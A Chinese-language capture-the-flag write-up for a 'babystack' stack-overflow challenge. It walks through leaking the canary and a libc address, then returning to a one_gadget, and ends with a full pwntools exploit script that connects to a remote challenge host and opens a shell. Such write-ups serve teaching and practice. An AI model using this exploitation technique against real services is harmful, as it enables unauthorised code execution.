此题的难度不高,但过程和思考有纪念价值。
观察保护和源码,有canary保护,并且只能溢出8字节,也就是一个地址。
思路形成:先读出canary,再读出main函数的返回地址,计算出libc的基址,因为只能填入一个地址,所以就想到one_gadget。
首先是读出canary:
gdb调试发现,canary正好在rsp上方。
io.recvuntil(b">> ")
io.sendline(b'1')
#canary
payload=b'a'*0x88
io.sendline(payload)
io.recvuntil(b">> ")
io.sendline(b'2')
io.recvuntil(b'\n')
canary=u64(io.recv(7).rjust(0x8,b'\x00'))
print('canary:',hex(canary))
这是读出canary的脚本,解释一下:
canary一般是以'\x00'结尾,但是由于小端序存储,我们会先遇到'\x00',这里使用sendline自动添加的'\n'掩盖'\x00'。
然后是读取main函数的返回地址,与这个类似,就不赘述。
接下来是重点,我们要确定main返回地址与libc基址的偏移。题目提供给我们libc-2.23.so,但是我多次尝试修改babystack的libc都失败了。
这里就要推荐:
https://github.com/tower111/pwn-change-libc/?tab=readme-ov-file
一个非常便捷的工具。
我使用的是python3,可能由于python版本问题,我运行的时候要将
get_env.py 中的 ./update_list 改为 python3 update_list
最后修改指向成功,通过gdb得到偏移,用one_gadget工具得到one_gadget。
以下是完整代码:
from pwn import *
context.arch='amd64'
io=remote('61.147.171.105',52496)
libc=ELF('./libc-2.23.so')
one_gadget=0x45216
io.recvuntil(b">> ")
io.sendline(b'1')
#canary
payload=b'a'*0x88
io.sendline(payload)
io.recvuntil(b">> ")
io.sendline(b'2')
io.recvuntil(b'\n')
canary=u64(io.recv(7).rjust(0x8,b'\x00'))
print('canary:',hex(canary))
io.recvuntil(b">> ")
io.sendline(b'1')
payload=b'a'*0x97
io.sendline(payload)
io.recvuntil(b">> ")
io.sendline(b'2')
libc_ret=u64(io.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\x00'))
print('libc_ret:',hex(libc_ret))
libc_base=libc_ret-240-libc.sym['__libc_start_main']
one_gadget+=libc_base
io.recvuntil(b">> ")
io.sendline(b'1')
payload=b'\x00'*0x88+p64(canary)+b'a'*0x8+p64(one_gadget)
io.send(payload)
io.recvuntil(b">> ")
io.sendline(b'3')
io.interactive()